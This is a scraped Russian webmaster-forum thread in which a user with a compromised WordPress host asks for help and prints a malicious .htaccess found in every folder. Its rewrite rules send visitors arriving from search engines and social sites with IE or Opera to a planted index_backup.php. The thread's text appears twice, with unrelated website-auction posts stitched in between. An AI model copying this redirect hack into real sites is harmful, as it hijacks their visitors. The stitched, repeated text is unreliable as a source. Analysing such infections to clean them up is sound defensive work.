Вот содержание index_backup.php:
А вот содержание index.php в каталогах
Silence is golden... - отличное проявление чувства юмора...
Результаты сканирования айболит:
Обнаружил во всех папках хостинга файлы .htaccess со следующим содержанием:
А также во всех каталогах появились файлы index_backup.php и index.php.
Но как понимаю, это только последствия...
Кто-нибудь объясните пожалуйста вкратце этот код в .htaccess
Кот в сапогах, с timthumb что делать? Поставить плагин, который его обновлять будет автоматически?
Сейчас сканирую айболитом по ssh, как найду что-то, отпишусь здесь. Потом в закрепленную тему подробно отпишу, как эту ерунду с WP удалять.
SeVlad, Ну или не искал:)
Завтра буду разбираться что там да как
Кот в сапогах, js файлы плагинов тоже проверять? Знать бы хотя бы примерно что искать, как выглядит этот код...
Спасибо большое! Все заработало:)
Сайт продан победителю аукциона Ditmar путем полной предоплаты, спасибо за покупку!
До окончания аукциона остались 1 сутки. Текущая ставка 110$
Сантехнический сайт продан.
Аукцион на Туристический сайт продолжается.
На сантехнический сайт поступил блиц в личку. Если покупатель откажется, аукцион продолжится.---------- Добавлено 03.09.2012 в 09:09 ----------В продаже остался туристический сайт, который ожидает шагов.
Вот содержание index_backup.php:
А вот содержание index.php в каталогах
// Silence is golden.
?>
Silence is golden... - отличное проявление чувства юмора...
Результаты сканирования айболит:
Обнаружил во всех папках хостинга файлы .htaccess со следующим содержанием:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/index_backup.php
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L]
</IfModule>
А также во всех каталогах появились файлы index_backup.php и index.php.
Но как понимаю, это только последствия...
Кто-нибудь объясните пожалуйста вкратце этот код в .htaccess
Кот в сапогах, с timthumb что делать? Поставить плагин, который его обновлять будет автоматически?
Сейчас сканирую айболитом по ssh, как найду что-то, отпишусь здесь. Потом в закрепленную тему подробно отпишу, как эту ерунду с WP удалять.
SeVlad, Ну или не искал:)
Завтра буду разбираться что там да как
Кот в сапогах, js файлы плагинов тоже проверять? Знать бы хотя бы примерно что искать, как выглядит этот код...
Спасибо большое! Все заработало:)
Сайт продан победителю аукциона Ditmar путем полной предоплаты, спасибо за покупку!
До окончания аукциона остались 1 сутки. Текущая ставка 110$
Сантехнический сайт продан.
Аукцион на Туристический сайт продолжается.
На сантехнический сайт поступил блиц в личку. Если покупатель откажется, аукцион продолжится.
---------- Добавлено 03.09.2012 в 09:09 ----------
В продаже остался туристический сайт, который ожидает шагов.